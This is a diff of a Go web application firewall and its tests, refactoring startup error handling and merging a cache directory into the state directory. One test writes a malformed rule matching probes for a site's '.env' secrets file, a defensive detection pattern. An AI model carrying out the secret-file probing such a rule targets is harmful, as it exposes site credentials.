if err != nil {
|
if err != nil {
|
||||||
return cannotStart(processLog, "invalid setting", err)
|
processLog.Error("invalid setting", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
|
// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
|
||||||
@@ -129,38 +127,13 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
stdout = io.MultiWriter(params.Stdout, remote)
|
stdout = io.MultiWriter(params.Stdout, remote)
|
||||||
}
|
}
|
||||||
|
|
||||||
processLog = requestlog.NewProcessLogger(
|
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
|
||||||
stdout,
|
|
||||||
cfg.InstanceName,
|
|
||||||
cfg.LogLevel,
|
|
||||||
)
|
|
||||||
|
|
||||||
if remote != nil {
|
if remote != nil {
|
||||||
stopSending := startSending(ctx, remote, processLog)
|
stopSending := startSending(ctx, remote, processLog)
|
||||||
defer stopSending()
|
defer stopSending()
|
||||||
}
|
}
|
||||||
|
|
||||||
return runWAFWithSettings(
|
|
||||||
ctx,
|
|
||||||
params.Version,
|
|
||||||
cfg,
|
|
||||||
stdout,
|
|
||||||
remote,
|
|
||||||
processLog,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// runWAFWithSettings is the rest of RunWAF once the settings are read and
|
|
||||||
// the process log goes where they say. remote is nil unless
|
|
||||||
// SWW_LOG_REMOTE_URL is set.
|
|
||||||
func runWAFWithSettings(
|
|
||||||
ctx context.Context,
|
|
||||||
version string,
|
|
||||||
cfg *config.Config,
|
|
||||||
stdout io.Writer,
|
|
||||||
remote *remotelog.Sender,
|
|
||||||
processLog *slog.Logger,
|
|
||||||
) int {
|
|
||||||
// The state files and the alerts give times in UTC.
|
// The state files and the alerts give times in UTC.
|
||||||
now := func() time.Time { return time.Now().UTC() }
|
now := func() time.Time { return time.Now().UTC() }
|
||||||
|
|
||||||
@@ -173,25 +146,23 @@ func runWAFWithSettings(
|
|||||||
Alerts: alertQueue,
|
Alerts: alertQueue,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(processLog, "cannot use the rule files", err)
|
processLog.Error("cannot use the rule files", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
crs, err := waf.NewCoreRuleSet(cfg)
|
crs, err := waf.NewCoreRuleSet(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(processLog, "cannot use the Core Rule Set", err)
|
processLog.Error("cannot use the Core Rule Set", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
server, err := newServer(
|
server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs)
|
||||||
cfg,
|
|
||||||
stdout,
|
|
||||||
processLog,
|
|
||||||
now,
|
|
||||||
ruleFiles,
|
|
||||||
alertQueue,
|
|
||||||
crs,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(processLog, "cannot use the lookup database", err)
|
processLog.Error("cannot use the lookup database", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
if remote != nil {
|
if remote != nil {
|
||||||
@@ -200,43 +171,24 @@ func runWAFWithSettings(
|
|||||||
|
|
||||||
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
|
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(
|
processLog.Error("cannot use the state files", "error", err.Error())
|
||||||
processLog,
|
|
||||||
"cannot use the state and cache files",
|
return 1
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(
|
processLog.Error("cannot listen on SWW_LISTEN_ADDR", "error", err.Error())
|
||||||
processLog,
|
|
||||||
"cannot listen on SWW_LISTEN_ADDR",
|
return 1
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
processLog.Info("starting",
|
processLog.Info("starting",
|
||||||
"version", version,
|
"version", params.Version,
|
||||||
"address", listener.Addr().String(),
|
"address", listener.Addr().String(),
|
||||||
"settings", cfg)
|
"settings", cfg)
|
||||||
|
|
||||||
return serve(
|
return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
|
||||||
ctx,
|
|
||||||
server,
|
|
||||||
listener,
|
|
||||||
files,
|
|
||||||
ruleFiles,
|
|
||||||
alertQueue,
|
|
||||||
processLog,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// cannotStart logs why waf cannot start, and returns its exit status.
|
|
||||||
func cannotStart(processLog *slog.Logger, message string, err error) int {
|
|
||||||
processLog.Error(message, "error", err.Error())
|
|
||||||
|
|
||||||
return 1
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// newServer returns the server waf runs, with the metrics of the alerts,
|
// newServer returns the server waf runs, with the metrics of the alerts,
|
||||||
@@ -278,24 +230,20 @@ func newServer(
|
|||||||
server.Metrics.AddAlerts(alertQueue)
|
server.Metrics.AddAlerts(alertQueue)
|
||||||
|
|
||||||
if lookupFile != nil {
|
if lookupFile != nil {
|
||||||
server.Metrics.AddLookupFile(
|
server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
|
||||||
lookupFile.LastRead,
|
|
||||||
lookupFile.ReadFailures,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return server, nil
|
return server, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// loadStateFiles reads the state and cache files into the parts of server and
|
// loadStateFiles reads the state files into the parts of server and into
|
||||||
// into alertQueue, as state.Load does.
|
// alertQueue, as state.Load does.
|
||||||
func loadStateFiles(
|
func loadStateFiles(
|
||||||
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
||||||
now func() time.Time, processLog *slog.Logger,
|
now func() time.Time, processLog *slog.Logger,
|
||||||
) (*state.Files, error) {
|
) (*state.Files, error) {
|
||||||
return state.Load(state.Params{
|
return state.Load(state.Params{
|
||||||
Dir: cfg.StateDir,
|
Dir: cfg.StateDir,
|
||||||
CacheDir: cfg.CacheDir,
|
|
||||||
WriteDelay: cfg.StateWriteDelay,
|
WriteDelay: cfg.StateWriteDelay,
|
||||||
CounterInterval: cfg.StateCounterInterval,
|
CounterInterval: cfg.StateCounterInterval,
|
||||||
Ledger: server.Ledger,
|
Ledger: server.Ledger,
|
||||||
@@ -304,7 +252,6 @@ func loadStateFiles(
|
|||||||
Lists: server.Lists,
|
Lists: server.Lists,
|
||||||
DNSBL: server.DNSBL,
|
DNSBL: server.DNSBL,
|
||||||
AbuseIPDB: server.AbuseIPDB,
|
AbuseIPDB: server.AbuseIPDB,
|
||||||
RouteWatch: server.RouteWatch,
|
|
||||||
Alerts: alertQueue,
|
Alerts: alertQueue,
|
||||||
Anomalies: server.Anomalies,
|
Anomalies: server.Anomalies,
|
||||||
Now: now,
|
Now: now,
|
||||||
@@ -370,13 +317,13 @@ func startSending(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// serve serves requests on listener, writes the state and cache files as they
|
// serve serves requests on listener, writes the state files as they are
|
||||||
// are due, takes in an admin's edits of them, reads the rule files again as
|
// due, takes in an admin's edits of them, reads the rule files again as
|
||||||
// they change, and the lookup database when it is replaced, fetches the
|
// they change, and the lookup database when it is replaced, fetches the
|
||||||
// lists the settings name by URL as they are due, and sends the alerts,
|
// lists the settings name by URL as they are due, and sends the alerts,
|
||||||
// until ctx is done. Then it gives the requests in progress
|
// until ctx is done. Then it gives the requests in progress
|
||||||
// shutdownTimeout to finish, and writes every state and cache file,
|
// shutdownTimeout to finish, and writes every state file, alerts.json with
|
||||||
// alerts.json with the alerts still waiting.
|
// the alerts still waiting.
|
||||||
func serve(
|
func serve(
|
||||||
ctx context.Context, server *waf.Server, listener net.Listener,
|
ctx context.Context, server *waf.Server, listener net.Listener,
|
||||||
files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
||||||
@@ -446,11 +393,7 @@ func serve(
|
|||||||
|
|
||||||
err = files.WriteAll()
|
err = files.WriteAll()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error(
|
processLog.Error("writing the state files failed", "error", err.Error())
|
||||||
"writing the state and cache files failed",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
|
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,10 +22,7 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) {
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
took := stopHeldSender(t, time.Second)
|
took := stopHeldSender(t, time.Second)
|
||||||
if took != time.Second {
|
if took != time.Second {
|
||||||
t.Errorf(
|
t.Errorf("the stop took %s, want the second the sender took", took)
|
||||||
"the stop took %s, want the second the sender took",
|
|
||||||
took,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -62,10 +59,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
|||||||
sender := remotelog.New(remotelog.Params{
|
sender := remotelog.New(remotelog.Params{
|
||||||
// No port is 65536, so each attempt to connect fails at once,
|
// No port is 65536, so each attempt to connect fails at once,
|
||||||
// before it reaches the network.
|
// before it reaches the network.
|
||||||
URL: &url.URL{
|
URL: &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"},
|
||||||
Scheme: remotelog.SchemeTCP,
|
|
||||||
Host: "127.0.0.1:65536",
|
|
||||||
},
|
|
||||||
Buffer: 1,
|
Buffer: 1,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
+80
-272
@@ -38,7 +38,6 @@ const (
|
|||||||
stateDir = "SWW_STATE_DIR"
|
stateDir = "SWW_STATE_DIR"
|
||||||
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
|
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
|
||||||
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
|
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
|
||||||
cacheDir = "SWW_CACHE_DIR"
|
|
||||||
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
||||||
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
||||||
rulesDir = "SWW_RULES_DIR"
|
rulesDir = "SWW_RULES_DIR"
|
||||||
@@ -93,35 +92,6 @@ func (o *output) line(t *testing.T, key, value string) map[string]any {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// lineBeforeExit returns the first line whose msg is msg, waiting for it
|
|
||||||
// while sww runs. It waits as long as that takes, so that a slow start
|
|
||||||
// cannot fail the test, and fails the test if sww exits first.
|
|
||||||
func (o *output) lineBeforeExit(
|
|
||||||
t *testing.T, msg string, exited <-chan int,
|
|
||||||
) map[string]any {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
for {
|
|
||||||
fields := o.findLine(t, func(fields map[string]any) bool {
|
|
||||||
return fields["msg"] == msg
|
|
||||||
})
|
|
||||||
if fields != nil {
|
|
||||||
return fields
|
|
||||||
}
|
|
||||||
|
|
||||||
select {
|
|
||||||
case status := <-exited:
|
|
||||||
t.Fatalf(
|
|
||||||
"exit status %d while waiting for a line with msg %q; output:\n%s",
|
|
||||||
status,
|
|
||||||
msg,
|
|
||||||
o.text(),
|
|
||||||
)
|
|
||||||
case <-time.After(pollInterval):
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// findLine returns the first line written so far for which matches is true, or
|
// findLine returns the first line written so far for which matches is true, or
|
||||||
// nil.
|
// nil.
|
||||||
func (o *output) findLine(
|
func (o *output) findLine(
|
||||||
@@ -165,12 +135,6 @@ func run(ctx context.Context, env map[string]string, out *output) int {
|
|||||||
return "off", true
|
return "off", true
|
||||||
}
|
}
|
||||||
|
|
||||||
// The cache files go beside the state files unless the test
|
|
||||||
// says otherwise.
|
|
||||||
if !ok && name == cacheDir {
|
|
||||||
return env[stateDir], env[stateDir] != ""
|
|
||||||
}
|
|
||||||
|
|
||||||
return value, ok
|
return value, ok
|
||||||
},
|
},
|
||||||
Stdout: out,
|
Stdout: out,
|
||||||
@@ -231,11 +195,7 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) {
|
|||||||
func TestAddressInUseStopsTheStart(t *testing.T) {
|
func TestAddressInUseStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
taken, err := (&net.ListenConfig{}).Listen(
|
taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -276,12 +236,11 @@ func TestServesUntilToldToStop(t *testing.T) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
// The default rule file is read.
|
// The default rule file is read.
|
||||||
readRules := out.lineBeforeExit(t, "read the rule files", exited)
|
if rules := out.line(t, "msg", "read the rule files")["rules"]; rules != 12.0 {
|
||||||
if rules := readRules["rules"]; rules != 12.0 {
|
|
||||||
t.Errorf("read %v rules from the default rule file, want 12", rules)
|
t.Errorf("read %v rules from the default rule file, want 12", rules)
|
||||||
}
|
}
|
||||||
|
|
||||||
starting := out.lineBeforeExit(t, "starting", exited)
|
starting := out.line(t, "msg", "starting")
|
||||||
wantStartingLine(t, starting, dir)
|
wantStartingLine(t, starting, dir)
|
||||||
|
|
||||||
addr, _ := starting["address"].(string)
|
addr, _ := starting["address"].(string)
|
||||||
@@ -327,17 +286,13 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
|||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
out.lineBeforeExit(t, "fetching a list failed", exited)
|
out.line(t, "msg", "fetching a list failed")
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf(
|
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
||||||
"exit status %d, want 0; output:\n%s",
|
|
||||||
status,
|
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("still running after being told to stop")
|
t.Fatal("still running after being told to stop")
|
||||||
@@ -491,14 +446,7 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
|
|||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
path := filepath.Join(dir, "bans.json")
|
path := filepath.Join(dir, "bans.json")
|
||||||
|
|
||||||
saveUntilAnswered(
|
saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden)
|
||||||
t,
|
|
||||||
path,
|
|
||||||
oneBan,
|
|
||||||
url,
|
|
||||||
"203.0.113.9",
|
|
||||||
http.StatusForbidden,
|
|
||||||
)
|
|
||||||
wantStatus(t, url, "198.51.100.7", http.StatusOK)
|
wantStatus(t, url, "198.51.100.7", http.StatusOK)
|
||||||
saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
|
saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
|
||||||
})
|
})
|
||||||
@@ -587,20 +535,12 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
|||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
path := filepath.Join(dir, "00-default.rules")
|
path := filepath.Join(dir, "00-default.rules")
|
||||||
|
|
||||||
err := os.WriteFile(
|
err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600)
|
||||||
path,
|
|
||||||
[]byte("# probes\nenv-file path bann ^/\\.env$\n"),
|
|
||||||
0o600,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write the rule file: %v", err)
|
t.Fatalf("write the rule file: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantRulesRefused(
|
wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`)
|
||||||
t,
|
|
||||||
dir,
|
|
||||||
path+`, line 2: the action "bann" is not log, block or ban`,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||||
@@ -612,9 +552,7 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
|||||||
": no such file or directory")
|
": no such file or directory")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
|
path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
|
||||||
@@ -715,42 +653,27 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// One that cannot be read leaves the file read before in use.
|
// One that cannot be read leaves the file read before in use.
|
||||||
err := os.WriteFile(
|
err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600)
|
||||||
replacement,
|
|
||||||
[]byte("not a lookup database\n"),
|
|
||||||
0o600,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write %s: %v", replacement, err)
|
t.Fatalf("write %s: %v", replacement, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
rename(t, replacement, path)
|
rename(t, replacement, path)
|
||||||
|
|
||||||
metrics := metricsWith(
|
metrics := metricsWith(t, url+"_sww/metrics", token,
|
||||||
t,
|
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`)
|
||||||
url+"_sww/metrics",
|
lastRead = seriesValue(t, metrics,
|
||||||
token,
|
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`)
|
||||||
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
|
|
||||||
)
|
|
||||||
lastRead = seriesValue(
|
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
|
|
||||||
)
|
|
||||||
|
|
||||||
wantStatus(t, url, placed, http.StatusOK)
|
wantStatus(t, url, placed, http.StatusOK)
|
||||||
})
|
})
|
||||||
|
|
||||||
if lastRead < float64(began.Unix()) ||
|
if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) {
|
||||||
lastRead > float64(time.Now().Unix()) {
|
t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead)
|
||||||
t.Errorf(
|
|
||||||
"the lookup database was last read at %v, want a time in the test",
|
|
||||||
lastRead,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -783,11 +706,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
t.Cleanup(server.Close)
|
t.Cleanup(server.Close)
|
||||||
|
|
||||||
torURL, dropURL := server.URL+torPath, server.URL+dropPath
|
torURL, dropURL := server.URL+torPath, server.URL+dropPath
|
||||||
cache := t.TempDir()
|
dir := t.TempDir()
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: dir,
|
||||||
cacheDir: cache,
|
|
||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
@@ -807,7 +729,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
// Restarted with drop.txt named after it and the server answering, tor.txt
|
// Restarted with drop.txt named after it and the server answering, tor.txt
|
||||||
// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
|
// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in reputation.json,
|
||||||
// while drop.txt, never tried, is fetched at once. Lists are fetched in the
|
// while drop.txt, never tried, is fetched at once. Lists are fetched in the
|
||||||
// order named, so once drop.txt refuses the client, tor.txt has had its turn.
|
// order named, so once drop.txt refuses the client, tor.txt has had its turn.
|
||||||
failing.Store(false)
|
failing.Store(false)
|
||||||
@@ -820,13 +742,13 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
})
|
})
|
||||||
wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
|
wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
|
||||||
|
|
||||||
if n := torFetches.Load(); n != 1 {
|
if fetches := torFetches.Load(); fetches != 1 {
|
||||||
t.Errorf("tor.txt fetched %d times before the restart, want 1", n)
|
t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches)
|
||||||
}
|
}
|
||||||
|
|
||||||
// After another restart, with the server failing, the copy of drop.txt
|
// After another restart, with the server failing, the copy of drop.txt
|
||||||
// kept in lists.json, its copyright line included, refuses the client
|
// kept in reputation.json, its copyright line included, refuses the
|
||||||
// from the first request.
|
// client from the first request.
|
||||||
failing.Store(true)
|
failing.Store(true)
|
||||||
|
|
||||||
out = runUntilStopped(t, env, func(url string) {
|
out = runUntilStopped(t, env, func(url string) {
|
||||||
@@ -834,16 +756,16 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
})
|
})
|
||||||
wantDeniedByList(t, out.line(t, "type", "request"), dropURL)
|
wantDeniedByList(t, out.line(t, "type", "request"), dropURL)
|
||||||
|
|
||||||
path := filepath.Join(cache, "lists.json")
|
path := filepath.Join(dir, "reputation.json")
|
||||||
|
|
||||||
//nolint:gosec // a file in the test's directory
|
kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
|
||||||
kept, err := os.ReadFile(path)
|
|
||||||
if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
|
if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
|
||||||
t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err)
|
t.Errorf("reputation.json holds\n%s\nwant the copy with %q (%v)", kept, copyright,
|
||||||
|
err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const bouncerKey = "crowdsec-key-0123456789abcdef"
|
const bouncerKey = "crowdsec-key-0123456789abcdef"
|
||||||
@@ -859,21 +781,17 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
|||||||
case down.Load():
|
case down.Load():
|
||||||
w.WriteHeader(http.StatusServiceUnavailable)
|
w.WriteHeader(http.StatusServiceUnavailable)
|
||||||
default:
|
default:
|
||||||
_, _ = io.WriteString(
|
_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
|
||||||
w,
|
|
||||||
`[{"duration": "4h0m0s", "origin": "crowdsec", `+
|
|
||||||
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
|
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
|
||||||
`"type": "ban", "value": "203.0.113.0/24"}]`,
|
`"type": "ban", "value": "203.0.113.0/24"}]`)
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
t.Cleanup(engine.Close)
|
t.Cleanup(engine.Close)
|
||||||
|
|
||||||
dir, cache := t.TempDir(), t.TempDir()
|
dir := t.TempDir()
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
cacheDir: cache,
|
|
||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_CROWDSEC_LAPI_URL": engine.URL,
|
"SWW_CROWDSEC_LAPI_URL": engine.URL,
|
||||||
"SWW_CROWDSEC_LAPI_KEY": bouncerKey,
|
"SWW_CROWDSEC_LAPI_KEY": bouncerKey,
|
||||||
@@ -889,14 +807,10 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
|||||||
ban := onlyBan(t, dir)
|
ban := onlyBan(t, dir)
|
||||||
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
|
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
|
||||||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
|
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
|
||||||
t.Errorf(
|
t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
|
||||||
"bans.json holds %v, want the ban for crowdsec on %s",
|
|
||||||
ban,
|
|
||||||
placed,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted with the engine down, the copy kept in lists.json bans
|
// Restarted with the engine down, the copy kept in reputation.json bans
|
||||||
// another client in the netblock from its first request.
|
// another client in the netblock from its first request.
|
||||||
down.Store(true)
|
down.Store(true)
|
||||||
|
|
||||||
@@ -904,28 +818,22 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
|||||||
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
|
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
|
||||||
})
|
})
|
||||||
|
|
||||||
// The key is in neither run's output, nor in a state or cache file.
|
// The key is in neither run's output, nor in a state file.
|
||||||
files := []string{
|
files := []string{"bans.json", "reputation.json", "clients.json"}
|
||||||
filepath.Join(dir, "bans.json"), filepath.Join(dir, "clients.json"),
|
|
||||||
filepath.Join(cache, "lists.json"),
|
|
||||||
}
|
|
||||||
shown := make([]string, 0, len(files)+2)
|
shown := make([]string, 0, len(files)+2)
|
||||||
shown = append(shown, first.text(), second.text())
|
shown = append(shown, first.text(), second.text())
|
||||||
|
|
||||||
for _, path := range files {
|
for _, name := range files {
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // the test's
|
data, err := os.ReadFile(filepath.Join(dir, name)) //nolint:gosec // the test's
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read %s: %v", path, err)
|
t.Fatalf("read %s: %v", name, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
shown = append(shown, string(data))
|
shown = append(shown, string(data))
|
||||||
}
|
}
|
||||||
|
|
||||||
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
|
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
|
||||||
t.Errorf(
|
t.Errorf("the key is shown in the output or the state files:\n%s", all)
|
||||||
"the key is shown in the output or the state and cache files:\n%s",
|
|
||||||
all,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -937,11 +845,7 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
|
|||||||
reputation, _ := line["reputation"].([]any)
|
reputation, _ := line["reputation"].([]any)
|
||||||
if line["action"] != "client_denied" || len(reputation) != 1 ||
|
if line["action"] != "client_denied" || len(reputation) != 1 ||
|
||||||
reputation[0] != listURL {
|
reputation[0] != listURL {
|
||||||
t.Errorf(
|
t.Errorf("request log line %v, want one denied for %s", line, listURL)
|
||||||
"request log line %v, want one denied for %s",
|
|
||||||
line,
|
|
||||||
listURL,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -976,11 +880,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
|
|||||||
func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
